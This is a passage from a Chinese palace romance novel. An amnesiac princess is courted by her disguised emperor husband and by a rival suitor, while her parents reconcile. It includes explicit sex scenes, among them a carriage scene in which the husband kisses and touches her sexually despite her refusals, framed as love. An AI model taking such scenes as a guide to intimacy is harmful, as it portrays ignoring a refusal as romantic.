兰瑾却不把他放在眼里,话也是说给沈墨听的。 沈墨无奈回头, 意味深长地拍了拍元栩的肩膀,“小元, 收敛一点。” 兰瑾见沈墨这和稀泥的态度,心中更来气, “他在觊觎沿沿!” 别的男人觊觎女儿,沈墨肯定会有所阻拦。可元栩跟沈若辞是名正言顺的夫妻, 身为丈夫多看自己妻子几眼, 并无可厚非。 沈墨解释道, “小元自幼跟在我身边, 与女儿认识十几年了,纯粹是关心沿沿, 并无坏心。” 沈墨觉得如今兰瑾对他的误解太大了, 一点风吹草动便要质疑起他对女儿的用心,这种误解必须尽快说清才是,他正色道,“兰瑾, 如你所说,我没有照顾好沿沿,我承认错误。但是沿沿从小是被我捧在掌心里长大的, 我身为父亲对她的爱,跟你给她的一样多,甚至不会比你少。 “况且此番沿沿被挟持, 究根究底是因她心善,她为救那两个孩子主动献出自己。我虽然不赞同她的做法,但倘若再让她选一次,我信她依旧是会选择去救那两个孩子。” 经过这些天的相处,兰瑾自然感受到女儿是个极其善良且富有同情心的小姑娘,沈墨说她的这些话,她都信是沈若辞会做的。 沈墨见她不再咄咄逼人,语气也愈发柔和,“我本意并没有想辜负你的嘱咐,我一直都记得,没有一日忘记。这些年来,女儿就是我的全部,是我生命中的小太阳,没人能替代。” 兰瑾心中明白,以沈若辞的性子来看,确实是被娇宠爱着长大。她能从女儿身上感受到她极强的爱人能力,浓密细腻,如春风化雨,温柔地浸染着她的心。 她也非不讲理之人,便道,“此事到此为止,但日后有关女儿的事,不能再是你一人做主。” 沈墨莞尔,“那是自然,你是沿沿的生母,就算她不听你的,我也绝不会同意。” 兰瑾算是被说服了,决定不再继续追究此事。 当天夜里,兰瑾在行宫里摆了几桌招待沈墨等人。对外只说是庆贺公主回归,叫上几位近臣来凑凑热闹,未曾提及沈墨是大魏的重臣。 兰瑾是雷厉风行的性子,想到的事就要立马去做。下午方才说到为要沈若辞另择夫婿,当夜就安排朝中几位才貌双全的年轻男子前来参加宴席。 等沈墨知道的时候为时已晚,那几位相貌出众的后生已齐齐现身,已然没有回寰的余地。 他下意识去看元栩,果然如他所料,元栩的脸黑得像锅底的灰。 好在兰瑾只叫沈若辞远远地瞧上一眼,并未给那几个男人看沈若辞的机会。 沈若辞注意到沈墨身旁那位小元侍卫,眼神一直就盯紧在她身上,她被看得很不自在。 哪怕她狠狠地瞪回去,小元也是脸不红心不跳,坦然接受她的目光,随后便改用黏黏腻腻的眼神与她对视。 那眼神看着就不清白,有时甚至想要吞了她似的。沈若辞不由得怀疑自己从前在大魏的时候,是不是与他有什么见不得人的关系在,对方才会做出这般举动。 所以兰瑾要她看人时,她莫名觉得心虚不安,只敷衍地将那几个人挨个看了一遍。哪知就因她多看了季云康一眼,兰瑾就心思敏锐地记下来,顺带安排了两天后桃林相会。 两天后兰茗来接沈若辞去桃花林的时候,元栩早早地守在马车旁边,势必要跟着一起去。 沈若辞不明白他为何总是这般关注自己,被他看得多了,心底里有些怵他。 兰茗已在车里等她,正朝沈若辞招手。 就在沈若辞迟疑着要如何上车时,元栩不假思索地伸手揽过她的背就要抱她上车,沈若辞惊慌地与他错开一步,不悦道,“你……” 元栩这才意识到不妥,转而伸出手臂给她扶着上车。 沈若辞潜意识里觉得他很危险,打心眼里不想碰他。好在兰茗适时伸手拉了她一把,这才成功上车。 等她上车后,元栩径直坐到车夫的另一边。 兰茗皱眉问道,“小元大人也要跟着一起去?” 元栩抱臂靠在车梁上,头也不回地说道,“在下奉沈大人的命令,要寸步不离保护公主殿下。” 沈墨担心女儿,也在理。兰茗当即关了车门,“沿沿,你跟他有什么关系吗?” 沈若辞竟有种被撞破奸情的羞耻感,“表姐,我都不认识他,我一个字也没跟他说过。” 兰茗若有所思,“也对,你都忘记了。我就是觉得你俩看起来不像是没事的,他好像是被你抛弃你,心中有气,看你的眼神才都是恨意。” 沈若辞被她的话吓了一跳,“他看我有恨意?” 兰茗又反复斟酌该如何表达,“不止有恨,还有爱,应该说是又爱又恨。” 沈若辞摇摇头,心道不至于不至于。小元是父亲信得过的人,与她自幼相识,不大可能会害她。 季云康出身名门,自幼聪慧过人,去年高中状元后更是一夜成名。如他这般天之骄子,骨子里多多少少有几分心高气傲。 是以得知女皇要他来桃花林相看那位流落在外刚被寻回的公主时,他心里自然是极不情愿。据说公主从前还嫁过一回,这点令他更不能接受了。 季云康只打算来走走过场,如今桃树正花开绚烂,他就当是来赏花,回去后直接找个借口推了此事。 哪知今日前来,见那位公主殿下袅袅娜娜地自花树下走来,比之树上的开得最艳的那朵桃花还要娇美惹眼,他一时看呆了,竟忘了呼吸,直到憋得满脸通红才回过神。 二人交谈了几句,季云康见沈若辞谈吐不俗,进退有度。除却美貌,才学方面也颇有造诣,愈发觉得此女不可多得。于是当场就摒弃了自己之前的偏见,有意要与这位公主殿下进一步深入。 兰茗得知沈若辞要与季云康相看,提前一天就去打探了消息。此时见他这魂飞天外的模样,就知对方也被表妹的美貌降服,便想挫一挫他的锐气,“季云康,我怎么听说你看不上公主,今日前来就是被迫来走走过场,回去就要推了?” 此时兰茗的话让季云康羞愧不已,一想起自己此前的想法,现在就恨不得回去给自己两巴掌。眼下他决定抵死不认,“郡主您说笑了,公主殿下国色天香,天人之姿,在下只怕高攀不起公主,何曾有看不上之说?” 兰茗见向来恃才傲物的状元郎都拜倒在沈若辞的石榴裙下,甚至被迷得七荤八素,分不清东南西北来,她心中大为舒畅。 沈若辞瞧着季云康身姿颀长,仙姿玉质,较那夜灯光下更为清雅无双,嘴角不由得流露出几分笑意。 元栩目光在这二人脸上来回逡巡,季云康那一脸谄媚的笑容自是讨厌至极,沈若辞微微扬起的唇角也甚是扎眼。 看到此处,他冷笑一声,极为不屑。 不加掩饰的笑声引得季云康投去诧异的眼神,“这位是?” 沈若辞已领教过元栩古怪的性子,对他的行为选择忽视,不咸不淡地回道,“小元侍卫。” 元栩又冷笑一声,较方才更冷,更加嘲讽。 沈若辞当场就想去捂他的嘴。这种想法一出来,她莫名觉得可怕,心烦意乱地松开原本交叠的手垂至身侧。 也就是这么简单的一个动作,她顿觉指尖一阵刺痛,拿起手来的时候,惊觉指尖被野草割出一道极细的伤口,正往外冒着血珠。 小伤而已,沈若辞抽出手帕打算拭去那点鲜血,却被季云康握住手掌,而后以迅雷不及掩耳之势将她的手指含进了嘴里。 惊得沈若辞眼珠子都要掉出来了。 元栩不由分说,一掌就将季云康掀翻在地。而后夺过沈若辞的手帕,一点一点地将被季云康含过的手指擦拭干净。 兰茗蹙眉看着这两位男子,不可思议地问道,“你们知道自己在做什么?” 元栩垂眸俯看地上的季云康,“郡主,季云康受伤了,麻烦你送他回去,在下就先护送公主回行宫。” 他的话带着不容置疑的权威,兰茗下意识回道,“好。”等元栩走远了,她才后知后觉地想自己为什么要听他的话? 马车跑起来的时候,元栩起初还坐在外边,后来越想越气,便直接推门进了车厢内。 沈若辞像只受惊的兔子,学着兰瑾的样子喝道,“大胆……!男女授受不亲,没有本公主的命令,你怎么能擅自进来。” 元栩听她话说得一套一套的,却恨不得把自己缩到车厢缝里,显然是在怕他,“公主殿下忘记了吗,就在你被挟持的前一晚,还与我在军营帐中颠鸾倒凤,说要勾得在下起不来床才肯善罢甘休。” “我我……你!” 沈若辞被他羞人的话刺激到舌头都打结了,“你别乱说!” 元栩也不多言,他径自从胸口处摸出她的小鱼玉佩,伸手到她腰间,她刚想反抗,就被元栩按住,“别动。” 元栩不顾她的拒绝强行将玉佩挂在她的腰带上。 沈若辞一脸嫌弃,“我不要你的东西。” 元栩收回手,“不是我的,是你的。那夜在床榻上太过激烈,不小心掉出来了。你第二日离开时忘记带走,物归原主罢了。” 替她系好玉佩后,元栩闲适地靠在车壁上,手掌有一下没一下地抚着自己腰间的玉佩。 沈若辞这才发现他那块玉佩与自己的这块竟是一对。 察觉到对方欲言又止,元栩眼皮子都没抬一下,“沿沿是不是想问,为什么我也有一块跟你一模一样的玉佩?” 沈若辞被道破了心思,干脆闭着嘴巴不说话。 元栩自顾自地说道,“我的这块玉佩,当时是沿沿亲手画了图纸,又亲手挑了玉石,送到玉匠手里做出来的。” “如今定情的信物尚在,沿沿却说不记得我了,还想另择夫婿,当真是伤在下的心。” 沈若辞对他的话半信半疑,“你跟我是什么关系?” 元栩突然起了逗她的兴致,倾身过去,将人压在车壁上,“都能做尽最亲密的事了,沿沿说是什么关系?” 第98章 元栩垂着眼皮安静地与她对视, 此时周身的强势感已褪去,独留一副被薄情女子抛弃后的黯然神伤。 沈若辞被他脆弱易碎的眼神看得莫名心虚,她咽了咽口水, 心想难不成这人真与自己有不为人知的关系? 在她努力回想过去的事时,温热的呼吸扑洒在脸颊上, 她这才发现元栩已将额头抵着她的,两人的距离近到眨一下眼睛就能碰到对方的睫毛。 “你、你要干什么?”沈若辞心跳得厉害。 “亲你。”元栩的唇已开始在她的唇瓣上辗转, 蜻蜓点水般并不深入,像是在邀请她、等她回应。 等她沉迷在这种新奇陌生的情愫中时, 元栩已循序渐进地深入。只是到后边汹涌的情绪涌上心头时,连他自己也控制不住。 唇舌交缠追逐, 脸思绪都是炙热滚烫的。直至沈若辞呜呜咽咽, 双颊涨得通红快喘不过气来时, 元栩才意犹未尽地将人抱起来, 掌心抚着她的背给她顺气。 抚了一好阵之后,沈若辞才缓过气来。眼眸中蓄着清泪, 将落未落, 又是一副被狠狠欺负过的模样。 元栩牙痒痒地控诉道,“做都做过那么多次了,亲吻还没学会换气!” 沈若辞舌尖被他吮狠了,现在还酸酸麻麻的, “你休要无礼,没准我根本就不认识你!” 元栩被气笑了,“既然如此, 在下只好用点手段帮沿沿回想一下。” 他反剪了沈若辞的双手到她身后,另一只手摸到她腰间迅速地拨开粉色的丝绦。 在沈若辞惊愕的目光中,略带薄茧的指腹势如破竹。就在触及的一瞬间, 沈若辞头脑空白了一瞬,目光也呆滞了一瞬。 元栩对她的反应甚是满意,“脑子里不记得了没事,只要沿沿这里还能记得便好!” “你……”沈若辞双颊潮红,眸子里盛满了莹润的春意,泪珠在眼眶里摇摇欲坠。 她无法想象,有人的手指可以这般修长灵巧。 而后他抽出手指杵到她眼前,像炫耀战利品那般,“沿沿还敢说不认得吗,这身子分明记得清清楚楚。” 沈若辞难以置信那份潮润是从自她而来的,“你混蛋,我要回去告诉我娘。” 元栩丝毫不受威胁,“沿沿要怎么跟丈母娘说呢?是说在马车里被为夫轻浮了,将沿沿的红唇吻了一遍又一遍,还是说……” 他视线所及之处,令沈若辞心跳加速。 简直太无耻了! 可她刚在心里将元栩问候了一遍,就发现更无耻的事在后头。 元栩竟当着她的面,将他的战利品含进了唇间。 沈若辞哪里接受得了这张纤尘不染的脸,竟做出这般厚颜无耻的行为。她红着眼眶,泪水挂在睫毛上,将落未落,甚是可怜。 元栩不忍心再逗她了,慢条斯理地替她系好衣带,整理好穿着,见她还哭着,又安抚道,“多大点事,舔一舔而已。从前沿沿喷我一头一脸的时候,我都毫无怨言。沿沿浑身上下都是香的,此处……” 她那哭声戛然而止,一脸茫然地看向元栩,待想通他说的是什么时,脸颊涨得通红,两个手掌奋力朝元栩推去,声音听出来极为恼怒,“你休要再胡说八道了,我才不会,我才没有!” 元栩一怔,后知后觉自己说错了话,忙改口道,“好好好,你没有你没有。” 沈若辞委屈极了,哭倒在他的怀里,“你不能再这么说我了,你再说我就要给你治罪了……” 元栩抱着炸了毛的沈若辞,只觉得她倔强得可爱,温言哄劝,“乖,别哭了。实话告诉你,朕是大魏的皇帝,是沿沿的夫君。朕没有欺负沿沿的意思,夫妻间做点亲密的事乃人之常情。” 沈若辞刚被他戏弄过,更加不信他的话了,“骗人,你说的都是鬼话,我不信!” 元栩板起脸来,“你我成婚,是过了三书六礼,昭告天下的,还能作假不成?再说了,朕要是撒谎,你回去问问你阿爹,朕不就暴露了?” 沈若辞抬起一双漂亮的眼睛,“阿爹也同意我们的婚事?” 元栩愕然,哪曾想过沈若辞一张口就问出他最无法回答的问题,也硬着头皮艰难地点了点头,“也……同意了。” “沿沿不喜欢夫君吗?”元栩赶紧拉着她的手摸上自己的脸颊,趁机转移话题,“夫君不够好看吗?不比那什么季云康俊朗?” 出卖色相果然是奏效的,元栩就长在沈若辞的审美上。她心想确实是比季云康更好看,而且好看的不止一星半点。 可他看着有点可怕,是她控制不了的那种。尽管如此,沈若辞心底里竟有几分留恋他的身子,他的气息,对与他亲密接触并不抗拒。 沈墨与元栩来到姜国已三日有余,如今女儿已找到,沈墨决定趁此机会再解决一些事情,“阿瑾,有件事我一直想问你,为何姜国不与大魏缔交?” 兰瑾其实不愿意别人提起往事,就算是旧人,她也不喜欢,“沈续,我想这件事,没有人比你更清楚。” 当年兰瑾在大魏做过两年质子,后来趁机逃回姜国。于她而言,大魏一直是一个囚禁过她的冷冰冰的国家,她无法坦然与对方交好。 明知他真名是沈墨,她还是愿意叫他沈续,这令沈墨如古井无波的心底里漾起波澜。 “可是阿瑾,如今你刚登基,与大魏缔交不管于你还是于姜国而言,都是有利无害,你该迈出这一步才对。” 兰瑾不是没有想过,“就算我兰瑾愿意与大魏交好,大魏就愿意接受我们姜国的诚意?” 沈墨沉吟片刻,道,“有一事我必须告诉你,沿沿的夫婿正是如今大魏的皇帝,沿沿正是大魏的皇后。” 一直躲在月洞门外侧偷听的沈若辞,此时终于听到她想要的信息。阿爹这话确定元栩没有骗她,她果真如元栩所说是大魏的皇后。 可她是皇后,元栩真的是皇帝吗? 那头兰瑾却冷笑,“自古帝王皆薄幸,沿沿失踪这么久了,你可曾见过她夫君的半个人影?可曾收到过他对沿沿的半句关心?” 元栩对女儿的心意,沈墨已不疑有他。他尝试跟兰瑾讲道理,“阿瑾,有些事并不是你觉得没有,就真的不存在。就如我对你的情谊,从来就没有变过。” 沈若辞本来只是打算偷听有关元栩的信息,没想到误打误撞听到了父亲对母亲表白心意! 也是在这时,元栩慢悠悠地走到她跟前,居高临下地俯视她。 沈若辞吓得赶紧去拉元栩的手让他蹲下来,她还想听听她娘的心意。 这些日子里,沈若辞认真思考过此事,若是父母之间仍有情谊在,愿意重修旧好,那自然再好不过。倘若二人间哪怕只有一人无意,她也定会尊重父母的选择,她绝不做盲目劝和之事。 元栩被她拉着蹲下来,却不代表他愿意配合沈若辞偷听。 兰瑾没想到沈墨会突然向她表白心意,她心潮抑制不住地起伏,但理智告诉她处理正事要紧,又将个人私事暂且搁到一边,“就算大魏皇帝对沿沿有几分情意,也不代表他愿意接受我们姜国的示好。你不是皇帝,你无法代表他的想法。” 沈墨见她语气有所松动,“既然如此,不如我让皇上过来跟你谈?” 兰瑾以为沈墨是在诓她,笑道,“你若真能找你们大魏皇帝来姜国,我还真能与大魏缔交!” 沈墨颔首,继续说回二人间的私事,“兰瑾,我沈墨这些年来孑孓一身,从未对其他女子起过半点想法,一门子心思都用在抚养沿沿身上。如果你心里没有装着其他人,能不能再考虑一下我。” 而沈若辞透过那雕花石窗,见她的阿爹已伸手过去,紧紧地握着阿娘的手,她的阿娘也没有拒绝的意思,她抿了抿唇努力压下嘴角的笑意。 月洞门那侧,沈墨见兰瑾久久没有开口,终是控制不住情绪低头去亲她的唇。 沈若辞不由得看呆了,她扒着窗花正打算看个究竟,耳畔传来一声轻咳,惊得她又缩了回来。 见是元栩捣乱,沈若辞将食指压在自己唇上,示意他不要说话。元栩拉住她的手准备带她离开,却被她反手按住。 被按住双手的元栩正欲开口,沈若辞腾不出手去捂他的嘴,于是着急忙慌间抬头,用唇瓣堵住了他的嘴。 一墙之隔的地方传来兰瑾的声音,“沈墨,你觉得我们可以回去吗?” 沈墨温柔道,“阿瑾,我们为什么要回去呢?我心里仍有你,你心里又没有其他人,我们可以试着往前走,而非走回去。” 多年的幽禁生活消磨了兰瑾的脾性,她早就不是当年那个拥有炙热爱意的女子,但她也想念当年那个自己。 “沈墨,让我想一想,好吗?” 沈墨沉默着还未回答,兰瑾已疾步走向月洞门口。出门洞的瞬间,就见女儿躲在雕花窗下,仰着脑袋一点一点地亲吻着那位眼若春水、唇红齿白的小元侍卫。 兰瑾心中不由得一惊,凌厉的声音打断了偷偷亲吻的两人。 “沿沿!”《 》 【正文完结】 第99章 沈若辞仍抓着元栩的双手, 被兰瑾单手捞了起来,“沿沿,你知道自己在做什么?” 她的眼神由茫然转为羞窘, 回过神来已站到兰瑾身旁,她第一反应就是去看元栩。 此时他仍蹲在地上, 双眸水光潋滟,似是仍未从方才的亲吻中回过神来。 “阿娘……”沈若辞收回目光缩着脑袋靠在兰瑾肩头, 委屈巴巴地瘪着嘴,像做错事被当场逮住的孩子祈求父母的原谅。 兰瑾绷着脸没有回应, 见元栩若无其事地站起身来,又伸手拂了拂下摆, 从容地朝她行了一礼, “陛下。” 见对方毫无犯错的觉悟就算了, 眼神还一直偷瞄沈若辞, 当她是瞎吗? 兰瑾早就看此人不对劲了,一门子心思都在她的女儿身上, 她不信沈墨作为父亲看不出来。 兰瑾直接越过元栩去看沈墨, “沈墨,你就是这么管理你手下的人?” “阿瑾。”沈墨皱了皱眉头,无奈地提醒道,“沿沿已经十八岁了。” 女儿已经是大人了, 就算不知道元栩是对方的丈夫,但是明眼人都能看出来,这事是沈若辞主动的, 元栩并没有强迫她。 元栩望着抿唇而立的沈若辞,果断站出来,“陛下, 方才都是我一人的错,与公主殿下无关。陛下要罚罚我,请不要怪罪公主殿下。” 兰瑾冷笑,她何时说过要罚她的沿沿了?这人未免太自以为是了。她根本不想理会,“你下去吧。” 元栩却没有要走的意思,他开口问道,“陛下方才说,如果大魏皇帝能亲自来姜国,你愿意与大魏缔交,可当真?” 兰瑾正色道,“他既有诚意,我兰瑾自也不会拂他的意。” 元栩朝兰瑾拱了拱手,“好,陛下爽快。在下还有一事,要替我们大魏皇帝求娶姜国公主,请陛下准许公主殿下嫁我们大魏。” 兰瑾凝着眼前的青年看了一阵,转而去看沈墨,“你不是说沿沿的夫婿就是大魏皇帝,怎么他还要来求娶?” 沈墨也很疑惑,心道这小子又在搞哪一出? 元栩顶着沈墨阴沉的目光,“皇后娘娘是姜国最尊贵的公主,我们皇上想按照求娶公主的礼节重走一次流程,给我们皇后娘娘补上一个求亲全礼。” 当初娶沈若辞的时候碍于形势所迫,可以说是半哄半骗。虽有三书六礼,凤冠霞帔,但整个过程到底缺少父母的祝福。如今沈若辞寻回母亲,又多了一个新身份,他想就此机会向她袒露自己的心意。 如此,也是向女皇表明自己对沈若辞、对姜国公主的诚意。 沈墨对他这番话始料未及,但只需细想一下就知道元栩的用意。想接回沈若辞,兰瑾这一关绝对不好过,他需要拿出自己最大的诚意来。 见兰瑾沉默,沈墨主动开口问道,“皇上决定何时来求亲?” 元栩从容不迫地回道,“三天后。” 三天能准备得了什么?沈墨吃惊道,“三天够吗?” 三天的时间确实不足以准备求娶的相关事宜,可是元栩早在得知沈若辞是姜国公主那天就开始着手准备了。 如今面对沈墨的疑问,元栩笃定地回道,“够了。”他转头地看沈若辞,“公主殿下、陛下,时间紧迫,在下要去准备求娶事宜,先告辞了。” 沈墨跟着元栩一起走的,事到如今,他必须帮元栩过兰瑾这一关。 月洞门下只余兰瑾与沈若辞母女二人,兰瑾知道有些事到了不得不面对的时候,“沿沿,若是大魏皇帝真来求娶,你可愿意?” 沈若辞目光从元栩清俊秀挺的背影收回,轻声道,“阿娘,有件事有必要让您知道,他应该就是大魏的皇帝,阿爹口中……沿沿的夫君。” 兰瑾脸上微微露出惊讶之色,“真的?” 沈若辞点了点头,“阿娘,是他告诉我的,我觉得他不像是撒谎。” 听到这里,兰瑾大概知道沈若辞的答案是什么了。 尽管不愿意面对这个现实,兰瑾还是说出自己的想法,“沿沿如今不记得从前的事,也不记得那位大魏皇帝,此番重新见面,还是喜欢他对不对?” 这么短的时间,沈若辞无法确定自己的心意,她迟疑道,“阿娘,沿沿不讨厌他,也不排斥跟他待在一起……” 兰瑾的脸色一时沉重,她之前想的是在姜国为女儿寻一门好亲事,将她留在身边。日后母女二人,随时随地可以见面。 倘若是沈若辞又回到大魏去,二人间的距离隔山隔海,想见上一面谈何容易? 三日后,元栩以大魏皇帝的身份前来姜国皇宫求娶公主。 送聘礼的车队浩浩荡荡地驶入姜国皇宫,前后足有一百余两马车。车上装满了黄金白银、珍稀茶叶、绫罗绸缎,奇珍异品数不胜数。 负责迎接的官员也是头一回见这种盛况,既是欣喜又是头疼,忙着指挥手下安排马车停放。 宫殿里兰瑾收到消息后脸上露出惊诧之色,她知道大魏向来富庶,但也没想过竟能这般豪气阔绰。 元栩如约而至,他今日穿一身玄色衮服,衣摆袖口皆用金线绣着盘龙纹,织金佩玉,威仪赫赫。 前些日子他扮作沈墨的手下时,大多时候穿的是浅色的常服,玉冠束发,头发半披半束,俨然是一副风流倜傥的年轻公子形象。 而此时穿得极为正式,衬得俊美无俦的面容愈发贵气逼人。而他只是安安静静地站着,周身便散发着与生俱来的帝王气度,不怒自威。 兰瑾不由得收起往日待他时的态度,恭恭敬敬地接待起这位来自大魏的年轻帝王。 元栩真诚地表达了两国缔交的意愿,兰瑾自然也履行自己的承诺决定与大魏成为盟国。 国家大事解决后便来到婚姻大事上,沈若辞虽未露面,元栩也极其庄重地向兰瑾提起求娶的公主之事。 等兰瑾看完聘礼,走完流程,确确实实感受到大魏求娶的诚意,她这才将沈若辞叫出来。 元栩已经三天没有见到她了,眼下二人一碰面,他的眼神立马落在沈若辞身上。 沈若辞今日明显是精心打扮过的,她穿一身雪青色的宫装,挽着精致的发髻,满头珠翠甚是耀眼华贵。就是再精美华丽的打扮,都压不住她极为出众的美貌。 他只看了一眼,便再也移不开眼了,眼神片刻不离,只给她一个人。 期间沈墨轻咳了几次以示提醒,元栩才稍稍有所收敛。 大殿中除了他们四个人外,还有兰茗和几名位高权重的官员在场。这些官员里有前几日在桃林里跟沈若辞相看过的季云康。季云康年纪最轻,凭借自身才华已身居高位。 所以当兰瑾询问自己的官员如何看待两国联姻一事时,季云康第一个站出来说话,“陛下,我们姜国遍地都是青年才俊,为公主择一佳婿并非难事,何需将公主嫁到那山高水之地。况且陛下刚与公主团聚,若选择联姻,岂不是又要面临骨肉分离的处境?” 自那日桃林相看后,元栩对季云康的印象就极差,“季大人,朕本来就与公主殿下是名正言顺的夫妻。此番求娶就是以公主的礼遇重走一回流程,要你多嘴?” 季云康不是省油的灯,“皇上说的已成为过去,如今公主殿下与季某才是正当时。臣爱慕公主殿下,自然要主动争取一番,谈不上多嘴。” 元栩冷笑道,“你爱慕公主,那也要看看公主选不选你。” 兰茗用手肘碰了碰沈若辞的手,“沿沿,你选哪个?”见沈若辞抿着唇一副难以决断的模样,她揶揄道,“不如都要了吧,反正都不赖,各有各的优点。” “胡闹!”沈墨当场出言训斥,兰瑾却对兰茗的提议忍俊不禁,似是并不反对。 元栩则咬牙道,“他还不配!” 哪知季云康却乐见其成,赞同道,“若公主殿下真不忍心舍弃旧人,郡主的提议不失为一个好主意。臣愿意在姜国陪伴公主殿下左右,公主也方便在陛下膝下尽孝。” 季云康也是料准了元栩作为皇帝无法随便离开大魏,姜国与大魏又山长水远,就算真的一女二|夫,他也是受益最大的那个。 兰茗当场震惊得无以复加,没想到向来眼高于顶的季云康竟愿意接受这样荒诞的提议。明明前几天他还一心想着拒婚,没想到见面后竟如此情根深种无法自拔。 季云康自然也是如此,若是几天前有人告诉他,要他与另一个男人共享一个妻子,他绝对会打得那个人满地找牙。可这几日他知道公主殿下对他并无明显好感,他开始患得患失,日不能食,夜不能寐。如此几天下来,对沈若辞的执念不降反升。此时心中只有一个信念,不管如何只要能得到她就行。 “做你的春秋白日大梦!” 元栩当众捏碎了手中杯子,幸好有兰瑾在场,不然别说杯子,活人他也能捏碎! 沈若辞觉得季云康肯定是疯了,还好元栩没有。 好在最后兰瑾终是做出了表示,“等沿沿恢复记忆,她愿意跟谁就跟谁,我定不会横加阻挠。” 有了兰瑾这句话托底,元栩到底心安了不少。他志得意满地瞪了那季云康一眼,表示自己赢定了。以那次离别前夜沈若辞的态度来看,自己真的有很大可能是她的心上人。 若此事为真,他就多了许多胜算,不怕她不跟自己回大魏去。 众人又就两国大事交谈了一番,兰瑾便派人送元栩过去宫殿里休息。 临出门前,元栩从沈若辞跟前走过,趁众人不备,勾了勾她宽大的袖口,小心翼翼地问道,“沿沿,会嫁朕吧?” 沈若辞抬起一双盈盈美眸,眼前人前一刻仍矜贵冷肃,此时与她说话,眼中褪了冷冽只余温润,言语又是温顺谦和,甚至带着几分讨好的意味,前后巨大的反差令她心弦微动。 可是借着遮挡,元栩不止勾着她的衣袖,他修长的手指顺着衣袖往上,又勾了勾她的掌心。 沈若辞像是被人在她心口上吹了口气,痒痒的,被他轻轻一勾就红了耳根。 “嫁不嫁?”他又勾了勾手指。 沈若辞被勾得面红耳赤,嗔怒道,“等我好好想想先。”她从元栩身边逃离,径直来到兰瑾身旁。 “阿娘……” 沈若辞顺势伏倒在兰瑾身上,兰瑾伸手抱住女儿,轻抚着她的背,“怎么啦,怎么突向阿娘撒起娇来……” 说话间她察觉到一道目光正朝自己看来,抬头望过去,正是大魏那位年轻的帝王。她顺着元栩的目光望向怀中的女儿,一眼看到她发红的耳根,便立马心知肚明。 兰瑾笑道,“皇上请先回宫殿里休息,晚上我们为您准备了接风宴,到时宴会上再一起畅饮。” 夜里的宴席上,季云康出现得比谁都早,就为了多看沈若辞几眼。 等到沈若辞出现后,他更是忙前忙后,大献殷勤。 沈若辞不明白为何只见过一面,季云康就如此确定非她不可,她轻声拒绝道,“季云康,你不必在我身上浪费时间了。” 季云康先是一怔,继而尴尬地笑了笑,“若是公主殿下不喜欢这样的我,季某可以做回真实的自己,公主看看喜不喜欢后才做决定也不迟。” 沈若辞笑道,“你年少成名,惊才绝艳,喜欢你的人定多如牛毛,不必执着于我一人。我其实没有你想的那么好,也不适合你。你回去吧,等以后遇到真正适合你的人,再把心捧出来给她。” 等元栩寻出来的时候,沈若辞一个人在长廊上坐着,一只手玩着自房檐处垂落的柳枝。 “皇上您不喝酒了吗?”沈若辞朝他身后看了看,见只有他一个人来,便起身拍了拍裙摆上的落叶。哪知一个没站稳,脚下一个踉跄,差点摔到在地,好在元栩及时抱住她,这才免遭皮肉之苦。 “喝醉了?”元栩刚刚抱住她就闻到她身上浓郁的酒气,方才宴席上明明不见她多喝,怎么突然就醉了呢。 沈若辞在他怀中挣扎了几番都没能站起来,嘴里还在喃喃地说道,“我没醉,我清醒着呢。” 酒鬼大都是令人生厌的,可她到底貌美娇柔,这般可人的酒鬼尚不多见,他微笑着扶她站起来,“朕送公主回去睡觉好不好?” 沈若辞眼珠子转了转,一脸娇憨地问道,“皇上知道本公主的寝殿在何处吗?” 元栩握着她的一只手在她跟前半蹲下来,而后背部轻轻一顶,站直起来的时候已将人驮在背上,“不知道,所以朕背着公主殿下,由公主殿下为朕指路,如何?” “好。”沈若辞乖巧地点点头,就这样被元栩一路被背到了她的宫殿中。 元栩将沈若辞放在床上,他确实很想躺下来与她一起睡着,将她抱在怀里,好好享受她身上独有的香气。但碍于兰瑾,他不敢做出格的事情。只是替她盖好被子,又蜻蜓点水般地亲了亲她的额头,就起身离开。 哪知才走出几步,背后就传来沈若辞的声音,“皇上可曾睡过公主的床榻?” 他诧异地回头,见她一双清凌凌的眸子正看着自己,此时面色沉静,哪有半分醉酒之态。 “要不要试一试本公主的床榻软不软?” 元栩怔忡一瞬,脸上的诧异才转为笑意,他快步沈若辞的床榻,径直坐在床沿扶着她的肩膀,压下心中翻涌的情绪问道,“沿沿你恢复记忆了?想起朕来了,是不是?” 沈若辞与他对视,望着他眼中闪烁着万千星芒,忽而仰头亲了亲他的唇。 元栩激动得一把把人搂到怀里,“朕就知道,沿沿肯定是想起来了,记得朕了,才会这般!” 他将人压在身下,开始吮吻她的唇,吻着吻着又附在她耳边提醒,“别只一味接受,该学学如何换气。” 沈若辞沉迷在他身上特有的草药香气中,迷迷糊糊地“嗯”了一声。但很快,她又被闷得喘不过气来,只得伸手去推他。 本以为元栩定会取笑她,哪知他没有,只是顺势提起她的身子,要她一点一点地接纳他。 沈若辞呼吸骤然一紧,她想她真的是引火上身了,明明只是想试试他,哪成想竟这般水到渠成,她完全没有推脱的机会。 元栩自然极富技巧,知道如何才能让她接纳得更加顺畅。 沈若辞的脸较从前很多次都要红,她被颠得几次抓破他的肩,可脸上的神色却依然带着几分清冷克制。 他想估计是两个人分开了一段时间,许久没有亲密的缘故。 “别咬。”元栩长着薄茧的手指分开她的唇齿,又捻了捻她的红唇。 沈若辞一时受不住,那挺得笔直的腰肢颓然倾倒下来,一张汗湿的小脸伏到元栩肩头,喘息不止。 元栩能感受到她小小地到了一次,手掌替她揉了揉后腰,“怎么,是不是太久没要了,这样就受不住了?” 沈若辞腾地一下掀开低垂的眼皮,在他看不到的地方眨了两下眼睛。 他就这么安安静静地就着她,搂着她与她温存,“沿沿想不想要孩子了?” 从前他只想两个人过一段快乐的时光,而今见沈若辞与兰瑾在一起时那种母女间温情,又令他萌生了想要与她有一个孩子的念头。 沈若辞顿时紧张起来,抬起一双湿漉漉的杏眼看他,“会怀上吗?” 元栩替她拭去额角的汗珠,“不想要也没事。最近朕没有吃避子药,等下到最后不弄进去就好了。” 她这才安心下来,想到他说吃避子药的事,心中又是一阵疑惑。 元栩最受不住她这对水灵灵的眸子,“朕真的好喜欢我的沿沿。” 沈若辞缓过神方才那股劲头,眼神已清明了些许,“你的?” “不是吗?”他眼神朝二人相抵之处掠过,“不是朕的沿沿,能吃到朕的?” 沈若辞瞬间脸又热了起来,“流氓。” 元栩哪里管得上她说什么,只伸手扶稳她的腰,“那就让沿沿试试流氓的滋味!” 床榻外帐幔如水纹漾开一波又一波,直到后半夜才停下来。 翌日清晨,沈若辞仍睡得迷迷糊糊,她感觉一只手臂压在自己身上,下意识推开朝旁边翻了个身。 